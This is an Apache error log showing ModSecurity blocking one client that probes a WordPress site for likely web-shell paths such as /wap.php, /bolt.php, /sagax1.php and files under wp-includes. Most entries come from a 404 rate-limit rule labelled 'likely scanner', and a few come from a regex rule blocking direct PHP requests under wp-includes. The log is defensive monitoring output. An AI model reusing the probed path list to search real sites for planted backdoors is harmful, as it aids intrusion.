[Sat May 23 20:49:39.741800 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1367] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "ahGiY8yrPrcAqE-FOKKfcQAAAdA"]
[Sat May 23 20:49:40.080081 2026] [:error] [pid 31039:tid 31047] [client 4.213.99.137:2044] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/controller/extension/"] [unique_id "ahGiZKIYDYo8WvA5zLJFygAAAMY"]
[Sat May 23 20:49:40.364127 2026] [:error] [pid 30941:tid 30993] [client 4.213.99.137:1421] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/controller/extension/"] [unique_id "ahGiZHTIgjSDhiZmvlXtsgAAAFE"]
[Sat May 23 20:49:40.733935 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1402] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/controller/extension/"] [unique_id "ahGiZHTIgjSDhiZmvlXtswAAAEc"]
[Sat May 23 20:49:41.022268 2026] [:error] [pid 31039:tid 31054] [client 4.213.99.137:1110] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/controller/extension/"] [unique_id "ahGiZaIYDYo8WvA5zLJFzAAAAM0"]
[Sat May 23 20:49:41.371649 2026] [:error] [pid 25876:tid 25899] [client 4.213.99.137:1205] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wap.php"] [unique_id "ahGiZQSpWUCKPezIBJCtjQAAARU"]
[Sat May 23 20:49:41.707618 2026] [:error] [pid 30942:tid 31019] [client 4.213.99.137:1100] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wap.php"] [unique_id "ahGiZdUosz64YFiBlG11TgAAAJA"]
[Sat May 23 20:49:41.986630 2026] [:error] [pid 30942:tid 31016] [client 4.213.99.137:1391] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wap.php"] [unique_id "ahGiZdUosz64YFiBlG11UAAAAI0"]
[Sat May 23 20:49:42.383430 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1396] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wap.php"] [unique_id "ahGiZnTIgjSDhiZmvlXttgAAAEQ"]
[Sat May 23 20:49:42.652397 2026] [:error] [pid 44325:tid 44344] [client 4.213.99.137:1488] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp.php"] [unique_id "ahGiZlgUQb4puB_2yV8lPAAAAZA"]
[Sat May 23 20:49:42.958744 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1434] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp.php"] [unique_id "ahGiZnTIgjSDhiZmvlXtuwAAAE4"]
[Sat May 23 20:49:43.242569 2026] [:error] [pid 44325:tid 44342] [client 4.213.99.137:1201] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp.php"] [unique_id "ahGiZ1gUQb4puB_2yV8lPQAAAY4"]
[Sat May 23 20:49:43.568658 2026] [:error] [pid 25876:tid 25888] [client 4.213.99.137:1204] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp.php"] [unique_id "ahGiZwSpWUCKPezIBJCtkQAAAQo"]
[Sat May 23 20:49:43.842770 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1418] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ahGiZ8yrPrcAqE-FOKKfeQAAAcM"]
[Sat May 23 20:49:44.133099 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1991] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ahGiaMyrPrcAqE-FOKKfegAAAc8"]
[Sat May 23 20:49:44.422359 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1425] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ahGiaMyrPrcAqE-FOKKfewAAAdA"]
[Sat May 23 20:49:44.716637 2026] [:error] [pid 44325:tid 44340] [client 4.213.99.137:1355] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ahGiaFgUQb4puB_2yV8lPwAAAYw"]
[Sat May 23 20:49:44.992741 2026] [:error] [pid 44325:tid 44349] [client 4.213.99.137:1350] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ahGiaFgUQb4puB_2yV8lQQAAAZU"]
[Sat May 23 20:49:45.291673 2026] [:error] [pid 44325:tid 44346] [client 4.213.99.137:1443] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ahGiaVgUQb4puB_2yV8lQwAAAZI"]
[Sat May 23 20:49:45.563400 2026] [:error] [pid 30942:tid 31020] [client 4.213.99.137:1444] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ahGiadUosz64YFiBlG11UgAAAJE"]
[Sat May 23 20:49:45.853315 2026] [:error] [pid 25876:tid 25883] [client 4.213.99.137:1362] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ahGiaQSpWUCKPezIBJCtlAAAAQU"]
[Sat May 23 20:49:46.135200 2026] [:error] [pid 44326:tid 44377] [client 4.213.99.137:1458] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "ahGiasyrPrcAqE-FOKKfgwAAAdY"]
[Sat May 23 20:49:46.406810 2026] [:error] [pid 30941:tid 30994] [client 4.213.99.137:1166] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "ahGianTIgjSDhiZmvlXtvgAAAFI"]
[Sat May 23 20:49:46.753046 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1167] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "ahGianTIgjSDhiZmvlXtwAAAAEE"]
[Sat May 23 20:49:47.103027 2026] [:error] [pid 30941:tid 30995] [client 4.213.99.137:1394] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "ahGia3TIgjSDhiZmvlXtwQAAAFM"]
[Sat May 23 20:49:47.382763 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1395] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/"] [unique_id "ahGia3TIgjSDhiZmvlXtwgAAAEc"]
[Sat May 23 20:49:47.654092 2026] [:error] [pid 44296:tid 44316] [client 4.213.99.137:1466] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/"] [unique_id "ahGia5drUdFI6ijvMkmL7AAAAVI"]
[Sat May 23 20:49:48.022634 2026] [:error] [pid 30941:tid 30985] [client 4.213.99.137:1186] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/"] [unique_id "ahGibHTIgjSDhiZmvlXtxAAAAEk"]
[Sat May 23 20:49:48.381327 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1202] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/"] [unique_id "ahGibHTIgjSDhiZmvlXtxgAAAFY"]
[Sat May 23 20:49:48.701050 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1390] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ahGibHTIgjSDhiZmvlXtxwAAAE4"]
[Sat May 23 20:49:49.039955 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1347] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ahGibcyrPrcAqE-FOKKfhgAAAc8"]
[Sat May 23 20:49:49.317789 2026] [:error] [pid 25876:tid 25895] [client 4.213.99.137:1372] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ahGibQSpWUCKPezIBJCtmQAAARE"]
[Sat May 23 20:49:49.599821 2026] [:error] [pid 44326:tid 44379] [client 4.213.99.137:1408] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ahGibcyrPrcAqE-FOKKfiwAAAdg"]
[Sat May 23 20:49:49.888360 2026] [:error] [pid 30941:tid 30978] [client 4.213.99.137:1380] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ahGibXTIgjSDhiZmvlXtyAAAAEI"]
[Sat May 23 20:49:50.164527 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1413] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ahGibnTIgjSDhiZmvlXtywAAAEw"]
[Sat May 23 20:49:50.457617 2026] [:error] [pid 30941:tid 30994] [client 4.213.99.137:1462] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ahGibnTIgjSDhiZmvlXtzAAAAFI"]
[Sat May 23 20:49:50.788681 2026] [:error] [pid 31039:tid 31060] [client 4.213.99.137:1465] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ahGibqIYDYo8WvA5zLJFzgAAANM"]
[Sat May 23 20:49:51.063056 2026] [:error] [pid 31039:tid 31052] [client 4.213.99.137:1371] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "ahGib6IYDYo8WvA5zLJFzwAAAMs"]
[Sat May 23 20:49:51.334551 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1398] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "ahGib3TIgjSDhiZmvlXt0AAAAEE"]
[Sat May 23 20:49:51.690064 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1994] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "ahGib3TIgjSDhiZmvlXt0QAAAEc"]
[Sat May 23 20:49:51.973793 2026] [:error] [pid 31039:tid 31048] [client 4.213.99.137:1467] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "ahGib6IYDYo8WvA5zLJF0QAAAMc"]
[Sat May 23 20:49:52.259589 2026] [:error] [pid 30942:tid 31009] [client 4.213.99.137:1436] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "ahGicNUosz64YFiBlG11VAAAAIY"]
[Sat May 23 20:49:52.589903 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1128] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "ahGicHTIgjSDhiZmvlXt1QAAAEs"]
[Sat May 23 20:49:52.872508 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:2011] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "ahGicHTIgjSDhiZmvlXt1gAAAFQ"]
[Sat May 23 20:49:53.152111 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1431] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "ahGicXTIgjSDhiZmvlXt1wAAAE4"]
[Sat May 23 20:49:53.436342 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1211] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ahGicXTIgjSDhiZmvlXt2QAAAEQ"]
[Sat May 23 20:49:53.727350 2026] [:error] [pid 44296:tid 44307] [client 4.213.99.137:1377] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ahGicZdrUdFI6ijvMkmL9AAAAUk"]
[Sat May 23 20:49:58.148038 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1185] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "ahGidsyrPrcAqE-FOKKflgAAAcM"]
[Sat May 23 20:50:01.241902 2026] [:error] [pid 31039:tid 31045] [client 4.213.99.137:1412] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "ahGieaIYDYo8WvA5zLJF3QAAAMQ"]
[Sat May 23 20:50:02.760535 2026] [autoindex:error] [pid 31039:tid 31055] [client 4.213.99.137:1461] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat May 23 20:50:06.927806 2026] [:error] [pid 31039:tid 31046] [client 4.213.99.137:1461] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ahGifqIYDYo8WvA5zLJF5QAAAMU"]
[Sat May 23 20:50:07.203648 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:2006] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ahGif3TIgjSDhiZmvlXt-AAAAE8"]
[Sat May 23 20:50:07.491159 2026] [:error] [pid 30941:tid 30981] [client 4.213.99.137:1097] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ahGif3TIgjSDhiZmvlXt-gAAAEU"]
[Sat May 23 20:50:07.784825 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:1383] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ahGif3TIgjSDhiZmvlXt_AAAAFQ"]
[Sat May 23 20:50:08.060891 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1197] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax1.php"] [unique_id "ahGigMyrPrcAqE-FOKKfngAAAcg"]
[Sat May 23 20:50:08.335682 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1464] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax1.php"] [unique_id "ahGigHTIgjSDhiZmvlXt_gAAAEc"]
